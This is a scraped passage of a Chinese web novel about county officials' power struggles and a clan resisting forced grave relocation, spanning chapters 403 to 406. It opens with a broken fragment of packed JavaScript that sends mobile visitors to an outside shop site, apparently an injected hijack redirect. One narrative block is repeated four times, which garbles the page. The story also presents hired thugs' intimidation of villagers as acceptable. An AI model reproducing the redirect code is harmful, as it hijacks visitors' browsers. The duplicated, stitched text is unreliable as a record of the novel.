0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400895|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 第403章 程家人 崔学文只是崔学文。 曹海涛和辛磊,顶多算是本地派系中,跟崔学文关系较为亲密的人。 但这并不代表,这两个人就是崔学文的人。 因为,他们抱团的前提,是要看那位洪老书记的脸色。 如果洪明德不给予崔学文支持,崔学文只有一票,他们仍处于劣势! “您放心,没有十足的把握,我也不敢邀请您一起来冒险,实话跟你说,洪老书记也有动陈红旗的打算。 他会给我们支持,这也就意味着,六票只是保底!” 崔学文信誓旦旦。 他心中,其实并没有绝对的把握。 但就算是忽悠和骗,他也要把王革给绑上车,这样一来,才能有胜利的希望。 若是拉不上王革,他只有败。 对崔学文来说,拉王革下水,这是走投无路的选择。 “嗯...我知道了。” 王革微微点头,他也在思考,在纠结。 这么重大的决定,他不能随随便便因为一时脑热就答应,他要等冷静后,分析局势。 ‘咚咚咚...’ 正在这时,门外响起了敲门声。 “谁?”王革问。 “王书记,李承县长过来跟您汇报工作。”秘书的声音从门外传了进来。 “进来吧。”王革说。 得到王革的许可,秘书推开门,将李承让了进去。 走进办公室,李承看到王革和崔学文相对而坐,心里泛起了嘀咕。 尤其是看到崔学文那种充满怨气的眼神,更是让李承有些不安。 “王书记,您再好好考虑一下,我等您答复。” 崔学文扯着嗓子,说。 他这话,是故意说给李承听的。 “嗯。” 王革用鼻音应了一声。 崔学文在路过李承身边时,停顿了一下脚步。 “哼。”他没有说任何话,只是轻哼了一声,便迈大步离开。 “王书记,我过来是想跟您汇报一下产业园区的招商进展。” 李承坐到刚才崔学文坐过的地方,对于崔学文为何到来,他好奇,却不问。 “嗯,你说。”王革拿起烟盒,给李承散了一根烟。 李承接过烟,点燃后,说:“上午,我跑了一趟南陵,去见了盈天药业的秦总,她对我们县的投资意向度很高。” “药业?这种轻工业,怎么想到我们重工业园区来?”王革问出心中疑惑。 “盈天药业不来,意向来建厂的,他们与德国凯芮尔合资建设的医疗影像器械子公司。”李承解释说。 “德国凯芮尔,这家公司在国际医疗企业颇具影响力,如果能将它拉入风林县,这就是我们的招牌企业呀。” 王革眼睛一亮,说。 只要能打起凯芮尔集团的噱头,哪怕是几千万的小规模企业,也绝对可以做招牌企业。 毕竟,凯芮尔集团的影响力在那里。 在医疗行业,那就是行走的权威。 “是呀。” 李承微微点头,说:“我也是考虑到他们的影响力,才特意向您打个报告。 他们的投资规模,达不到我们规定的高政策标准,但却想按照高标准政策签约。 我想跟您商量一下,是否要给特例。” 虽说,十亿规模以下的企业,不给弹性优惠的规定,是李承定下的。 但这个方案,是得到县委常委们的支持才执行了。 李承没有权力拍板决定。 “嗯....” 闻言,王革也陷入了思索。 一次破例,就有下一次破例,规矩就乱套,以后对其他企业按照原政策签约,谈判难度更大。 但是不破例,丢掉这家企业,对县里又是一大损失。 若是被市里和省里知道,可能都有被问责的风险。 “李承同志,你是怎么想的?”王革问。 “我还没有好的想法,所以想听听书记您的意见。”李承说。 “先谈谈看,实在谈不拢,优惠政策可以给,但要签保密协议,凯芮尔这个企业,我们必须要留下来。” 王革给出了答案。 “嗯,我邀请他们二十八号来参加企业座谈会,到时候根据现场情况,再做定夺吧。” 李承弹了弹烟灰,说。 但在他的心中,已然有了一个新的想法。 这个想法,在一定程度上,还是有算计领导的嫌疑,但也无所谓了。 卡在梁省长视察期间举办座谈会,已经被扣上算计领导的帽子,也不怕再多一顶。 如果顺利的话,李承也能给梁省长留下一个好印象,得到对方的认可。 “二十八号的座谈会,又赶上梁省长的视察团来,一定不能出现任何的差错。”王革叮嘱道。 “书记您放心,我一直亲自盯着呢。”李承说。 他作为第一责任人,他比任何人都重视这场座谈会。 “你的工作能力我不担心,我相信你可以把座谈会做好,只不过...我在担心程家人去闹。” 王革说出自己的顾虑。 “程家人?” 看着王革眉头皱紧的样子,李承有些疑惑。 他来风林县这么久,还没有听说到有程姓人家跟政府,跟管委会有什么矛盾。 “你还不知情呀?陈红旗和林青,都没有跟你讲过吗?”王革反问。 他特意点名了陈红旗,也在暗示李承与陈红旗的关系让他不满。 “没有。”李承摇头,他是真未听说过。 “也正常,程家人的事情,在去年冬天就解决了,但那个解决办法是在逼迫下的。 我担心,他们就在等一个机会。”王革说。 “具体怎么回事?” 李承眉头微微皱起,他预感这件事不简单。 程家人是谁,他没有听说过。 但王革不会拿这种事情开玩笑,而李承也绝对不允许,有任何的隐患会影响到这场招商座谈会! 任何潜在的风险,他都必须要提前铲除! “等回去你问问林青就知道了。” 王革摆了摆手,并没有跟李承解释这件事。 “好。”李承点头。 以往,面对李承的询问,王革都会耐心的讲解。 但这次,李承隐约察觉到,王革对他有意见。 虽然王革没明说,但从一些细节,李承能看出来。 “刚才崔常务过来,跟我聊了聊你的工作和个人问题,想知道吗?” 第404章 决定性回答 “王书记愿意告知,我洗耳恭听。”李承说。 王革提起这件事,就代表他想告诉给李承。 李承虽好奇,但不能表现得过于明显,要将主动权递到王革的手里。 表明对方的主导地位。 别看王革已经被陈红旗架空,在这个县,存在感较低,远远低于其他县的县委书记。 但他毕竟是一把手,李承不能忽视这位一把手的权威性。 并且,李承也很清楚自己的地位。 若是没有王革的鼎力支持,之前李承和陈红旗的斗争中,根本不会有任何胜算。 “学文同志说你在跟陈县长搞官僚主义,搞一言堂,控诉你这样的同志,应该被斗争。” 王革只说了崔学文的问题,却并没有表明他对这件事上的态度。 话中却透露出,崔学文这次找他的来意。 “呵呵呵...” 闻言,李承干笑了两声。 斗争? 崔学文一个人拿什么斗争,这是摆明了要拉王革入伙。 一旦王革跟崔学文达成同盟,意味着什么,李承很清楚。 “王书记,您怎么看待这件事?”李承淡淡的问。 “我跟学文同志说,你的任何选择,都是基于产业园区发展下的选择。” 王革没有直接挑明自己的态度。 他没有说相信李承,会继续支持。 也没有说,要跟崔学文合作,这是一个观望和试探的态度。 听到王革这番话,李承陷入了短暂的沉默。 他知道,王革是试探他,要看看他怎么回答。 而接下来的回答,会决定整个风林县政治格局的走向。 “王书记,我和您一样,都是在为了风林县的发展,为了风林县的人民考虑。 我一直认为,我们也有共同的目标,让风林县脱贫致富,还风林县一个公平,法治,以民为本的政治环境。” 李承没有多余的废话。 他先是强调两个人是共同集体,又侧面表达了他与陈红旗的关系。 陈红旗的官僚主义,违背了‘以民为本’核心宗旨。 李承在表达,合作是暂时的。 像陈红旗这种贪官,早晚还要站在李承的对立面,站在党和人民的对立面! “您说呢?”李承微笑反问。 “嗯,现在的政治环境,乌烟瘴气啊...” 王革点了点头,又感叹了一句。 他听出李承的言外之意,对于这个回答,他相对满意。 但那句感慨,是进一步的试探。 “我前几天去市里汇报工作时,和周书记也浅谈过一些关于风林县的政治环境,他也很重视。 风林县百姓的黎明,不远了。” 刚才的立场问题,李承已经说得很明白。 接下来,李承要向王革展示他的人脉和背景。 以此作为警告,让王革认真考虑,选清楚正确立场。 “对了,前天我跟省政府的杨秘书长通过电话,他让我们务必重视起二十八号这次考察。 梁省长新官上任三把火,别把第一把火烧在了咱们风林县上。 所以,我想请示一下王书记,要不要对整个县的政治生态做个调整,最起码加强一下管理,别再出现类似工商局的情况。” 李承以下属的姿态,请示建议。 实则,这句话的大部分都是废话,核心只有一个,李承在告诉王革,他跟省政府杨秘书长私交甚好,让王革自己掂量掂量。 “县里的事情你就不用过度担心了,我会处理好,你的重任,就是确保产业园区没问题。”王革道。 李承与王革的简短几句话,彻底打消了王革动摇的念头。 他并非是相信李承不会彻底与陈红旗站边,他只是忌惮李承的背景。 王革是一个被‘贬’到风林县的角色,他没有什么政治背景作为依靠,这也是他到了风林县被‘欺负’的主要原因之一。 可李承不同。 单凭王革一个县处级(正职)的干部,根本没办法与李承斗争。 至少,在没有绝对把握之前,他不会公然与李承闹对立。 ..... 回到管委会,李承第一件事就是找到了林青。 关于程家人,他要有个了解。 再决定,是否需要提前预防这个潜在的危险。 ‘咚咚咚...’ “进。” 敲响房门,在得到林青的许可后,李承推门而入。 “李主任。” 看到是李承到来,林青站起身,走向沙发区:“今天去南陵,还顺利吗?” “还不错,盈天药业跟德国凯芮尔联合开设一家医疗影像器械的子公司,准备到我们风林县投资建厂。 具体要看二十八号的招商座谈会,以及后续的政策优惠力度。” 李承坐在林青的对面,简短的介绍道。 “嗯,辛苦了。” 林青没听过凯芮尔的名号,也就没过度关注这件事。 “林书记,我下午过来是有件事情想跟你了解一下。” “你说。” “刚才我去了趟县委,见了王书记,他让我要警惕程家人赶在梁省长视察期间闹事。 这个程家人是什么来历,跟政府有什么恩怨?”李承问道。 “这件事过去有半年了,王书记不提,我也忘在了脑后。” 听到程家人,林青柳眉轻佻,脸色也变得沉重起来:“是应该警惕起来了。” 通过林青的表情,李承确定,程家人绝对是麻烦。 “具体怎么回事?”李承追问。 “程家人是柳程村的,听这个村名,你应该也知道,这是柳姓人和程姓人的村子。 我们产业园区的土地,就是程家人的祖坟所在地,当初为了建设园区,跟程家人谈了很久,让他们迁坟。 但几番交涉下来,谈不拢。 程家人很团结,宗族世亲,家里的几个老人也很封建,死活都不肯迁坟,说这片坟是风水宝地,动了他家的坟,就是破坏了程家的气运。 最开始,人家连价钱都不愿意谈,就是不肯迁坟。 龙图镇的镇书记是程姓人,他好说歹说,几个老人答应迁坟,但是开出的价格过于离谱。 程家人的油盐不进,就惹恼了陈县长,陈县长就将迁坟的事情,外包给了旗胜公司,在旗胜公司的推进下,用了不到半个月的时间。” 第405章 先礼后兵 “半个月的速度,很快啊,陈红胜看来很出力,这笔外包费,应该不便宜吧?”李承淡淡的问。 旗胜建筑公司,那是陈红旗,陈红胜的公司。 陈红旗给自己牟利,肯定要大赚一笔。 “嗯,不便宜,但在政府能接受的范围内,远低于程家人的开价,所以,在这件事情上,县委县政府都是一致认可的。”林青说。 “陈红胜用了什么手段?”李承问。 县政府三番五次去谈,都没谈拢的事情,陈红胜半个月不到就谈了下来。 其中使用的手段,肯定不会太光明磊落。 这一点,刚刚王革也提过。 “比较下三滥的手段,陈红胜雇了一群地痞无赖,天天半夜去村子里闹,砸人家玻璃,泼油漆。 凡是跟反对迁坟有关系的亲属,无一幸免。 单位上班工作的,那些混混就去他们单位闹事,搞的人家单位不安宁,只能将那些程姓人开除。 在县辖区政府机关上班的,陈红旗也是各种穿小鞋。 那些开门做生意的,也是搞的人家没办法做下去,开饭店的,一个人占一个桌子,就点一碗米饭,从早上坐到人家下班....啧....总之呀,手段可谓是下流至极。 但胜在管用,半个月的时间,程家人就被迫签了协议。” 林青将旗胜建筑公司的手段,大概讲述给了李承。 单听她的讲述,去换位思考一下,普通人也根本扛不住这种压力。 更何况,那些亲身经历的人,会是何等的无奈。 “嗯,这么看,程家人确实是潜在麻烦。”李承点了点头,说。 陈红胜的手段虽无耻,但李承并没有太多的反感。 先礼后兵。 一切为了风林县的发展。 这本就在政府的默许与财政支出计划内。 如果一切按照百姓的意愿,以商量的方式去拆迁,只动文。 那么,漫天要价,以及各种各样的钉子户会层出不穷。 全国城市面貌的规划和发展,至少要倒退二十年。 “是呀,他们虽然妥协了,却也一直在上访,市里,省里都跑过,还想去过京城,被县里的信访局截了下来。 到现在为止,柳程村的程姓人,还在县里信访局的重点名单内。” 林青叹了口气,说:“这次梁省长来,他们得知消息,肯定不会错过这个机会,难办呐....” 李承沉默,他在思考应对之策。 气氛死寂了一分钟后,林青再次开口:“怕是有些人也想借着这个机会,绊倒陈县长,甚至牵扯到咱们管委会来。” “你说的有些人,是指谁?”李承反问。 他在猜测,难道县里还得罪了哪些角色,想借刀杀人? “崔常务呗,他对你和陈县长的关系,很不满呢。”林青说。 “哦...你说他呀。” 闻言,李承松了一口气,摆了摆手:“他不会。” 崔学文再蠢,也不会将县里的内部斗争,上升到那种程度。 那样,整个风林县都要钉在一颗耻辱柱上。 而他崔学文,作为县委常委的一员,也深度参与了迁坟的事情,若是省里追责下来,他也逃不掉。 鱼死网破的结果,不是崔学文想要看到的。 在全县的利益上,大家荣辱与共,是一个共同体,崔学文不会拿自己的仕途做这种蠢事。 “李主任,你有没有什么好办法?”林青又想了一会儿,她没有什么头绪:“除了加强监管,我是想不到了。 监管一两个人容易,但监管半个村子,这个难度太大了。” “嗯,监管是行不通的。”李承点燃了一根香烟,说。 企业座谈会就在管委会举行,当天会搞得格外隆重,消息肯定会透到程家人的耳中。 而监管半个村子,这根本不现实。 只要程家人想,村子四通八达,怎么绕路,程家人也能来到座谈会现场。 县里的警力,当天还要维持会议秩序,和确保领导的安危。 根本没有那么多人去监督这个村。 唯一的办法,就是彻底铲除程家人去闹事的想法! 但要做到这一点,很难! 他们频频去上访,就证明了他们对政府的不满,这么好的一次接触领导的机会,他们不会放过的。 “嗯....” 李承沉吟了几秒,心里有了些想法:“我也想不到,时间还来得及,我们一起想想。” 这个想法,他没有告诉林青。 主要是这个想法,是最终的无奈之举,但凡有其他选择,他也不准备采用。 但其他选择是什么....李承暂时还想不到。 花钱解决?这绝对不可取。 产业园区已经建设,不管程家人是自愿,还是被迫,这场合作都已经达成了。 再去赔钱,去妥协,这不利于政府的利益。 县委县政府不会有人支持,就连李承本人也不会允许。 靠嘴劝说? 如果能劝说得动,县政府也不会外包给旗胜建筑,让他们用那种手段去逼迫迁坟。 李承不认为凭借他的三寸不烂之舌,就能够彻底抹平程家人的愤怒。 而李承那个无奈之举的想法...其实是,让陈红旗全权来解决这件事。 至于陈红旗怎么解决,用什么手段,是陈红旗的事情。 “唉...说实话,我是没什么好想法的。” 林青苦笑一声,无奈的说:“我要是有想法的话,他们早就迁坟了,这件事要靠你了。” 这件事,当初就让林青烦恼了好一阵子。 她苦想了几十种办法,也执行了数种,皆没有效果! “嗯。”李承点头。 “这外面的雨,还不知道要下多久,也不知道,这风林县的天,什么时候才能彻底晴。” 林青目光望向窗外,雨,一直下个不停。 天色昏昏沉沉,下的人心里发慌。 但她的话里,不是在担心这场雨,而是在担心风林县,也是在期盼风林县能迎来一场真正意义的雨过天晴! “快晴了...” 李承目光也看向了外面的雨景。 他喜欢下雨天,可这场雨下的,让他心里发毛,一种莫名的不安,在他心里涌起..... 第406章 馊主意? 回到家。 吃过晚饭,李承坐在沙发上,抽着烟,思绪翻滚。 他本以为,只要将招商座谈会做好,就能高枕无忧。 可现实往往不尽人意.... 程家人的事情,如同天空外面的阴云,压抑得让人喘不过气来。 他想去见见程家的长辈,可是,以什么方式去见,见了去聊什么,这让李承很犯愁。 难道去聊,让他们不要到招商座谈会闹事吗? 那不是去和解,更像是给程家人指了一条路,告诉程家人,政府现在最担忧的问题是什么。 而且,李承也能猜想到去谈的结果。 大概率是要被撵出来。 在官场里,李承的政治背景有用,大家会忌惮他几分。 可放在平民百姓里,李承的政治背景越大,反而那些人越不会怕。 事实结果摆在面前。 迁坟的协议,程家人白纸黑字也签了。 说到底,程家人想要的结果,不是要钱,也不是要地,就是为了出口恶气。 只要陈红旗,陈红胜两兄弟不倒,他们跟政府就不会轻易达成和解。 但总不能因为程家人,就把陈红旗搞下台吧? 这不符合李承目前的利益。 同样,李承目前也没有这么大的本事。 “老公,你在想什么呢,这么专注?”许梦端了一盘切好的水果过来,放在李承面前。 “在想梁省长视察的事情。”李承用牙签扎起一块苹果送到口中,说。 “座谈会不是进展的很顺利吗?难不成,北方重型装备临时反悔了?”许梦纳闷的问。 李承跟她讲过,只要北方重型装备签约,就是立功表现。 梁省长的视察结果,就基本有定论,是向积极的方向发展。 所以,许梦在看到李承愁眉苦脸时,第一个想法是北方重型装备毁约。 “不是,跟招商没关系。”李承摇了摇头,说。 “那还有什么麻烦?”许梦疑惑。 “产业园区那片地,之前是程家人的祖坟,当时涉及到了强迁,我担心,程家人会在二十八号那天去管委会闹事。”李承解释说。 “一家人而已,派几个人去盯着就行呗。”许梦道。 “不是一家人,是半个村子的人。”李承苦笑的摇了摇头。 “额....这确实难办奥。” 许梦瞠目,尴尬的笑了一声。 “这家人很封建的,产业园区动了人家的风水宝地,人家肯定不会善罢甘休,这些日子也一直在上访。 现在梁省长来了,这个机会,他们不会错过。”李承说。 他跟许梦分享,一来,这种事不涉密,分享出来,比他窝在心里能缓解些压力。 二来,人多力量大,李承也想试试看,说不定许梦都有什么好的想法。 “梦梦,你说这种事情,应该怎么解决?”李承问。 他嘴上这么问,心里却也没有抱什么希望。 “嗯....” 许梦思索片刻,突然眼睛一亮,说:“老公,我有一计!” “什么计?”李承看着许梦那副认真的样子,忍不住的笑了起来。 这么快就有了计策,李承推测,大概率也是个馊主意。 “你不是说他们封建吗?那我们就以封建治封建!”许梦认真的说。 “什么意思?”李承完全没搞懂。 “我之前看过一本关于阴阳先生的小说,里面说的神乎其神的,挺唬人。 我这个优秀高才生,无神论者都被忽悠住了,你说,那些封建的老人,能不能被唬住。 我的想法是,咱们也请一个阴阳先生,去忽悠忽悠他们。” 许梦说完后,摆出一副颇有自信的样子。 眉飞色舞里,带着些许洋洋得意:“嗯...我可真是一个天才呀,这么好的主意都能想得出来。” 听完许梦的话,李承的眉头紧紧皱起。 “哈哈哈,看来我这又是个馊主意。” 见李承听完后,脸色如此凝重,许梦认为李承并不满意她这种想法,尴尬地给自己打了个圆场。 毕竟,李承是政府官员,提倡反对封建迷信。 而她的办法,很迷信。 “谁说这是馊主意呀,这个主意太棒了,当初风林县政府要是有你这个军师,也不至于闹到强迁的地步。” 李承双手捧住许梦的脸,在她脑门上亲了一口。 这个办法,虽然听起来不正经,但在眼下这种局面,比起暴力手段阻止对方闹事,更稳妥一些。 暴力手段,容易引起适得其反。 “真的吗?” 许梦有些不可置信,她自己都不认为,李承真的会采纳她的想法。 “真的,明天我就去跟县里领导商量商量,这个办法,执行性非常高!” 李承笑呵呵的说。 心里有了一个办法,就像是抓住了一颗救命稻草。 无论成与败,至少在这一刻,李承的压力缓解了很多。 ‘轰隆!’ 外面一道雷声响起,紧接着,一道闪电划破天际。 “老公,我怕。” 许梦快速钻进李承的怀抱中,小女人之态尽显。 “别怕,打个雷而已。” 李承抱着许梦,在她的嘴唇上吻了一下。 “老公,我们回房间吧,客厅有点冷,想让你在被窝里抱着我嘛....”许梦双臂环抱着李承的脖颈,娇滴滴地说。 “嗯,好。” 李承用公主抱的方式,将许梦抱回床。 许梦躺在床上,看着李承那种近在咫尺的英俊面庞,慢慢闭上眼睛,去亲吻与享受被吻。 李承的吻,从嘴唇到脖颈...慢慢下移至那对雪白的隆起处.... “嗯...” 许梦愉悦的轻哼,与外面哗啦啦的雨声交织在一起,别有一番感觉。 翻云覆雨后,许梦去清洗身体,李承则点燃了一根香烟,走到阳台。 雨还在下,雨势却丝毫不减。 这场大雨已经持续了两天两夜,李承不免担心起修路的进展。 通往南陵市的道路扩建,还在施工阶段,雨这么下下去,李承担忧,路基会被泡软,出现坍塌的情况。 没回填的基坑大量积水,地下结构也可能被毁坏.... “这雨,什么时候是个头啊!”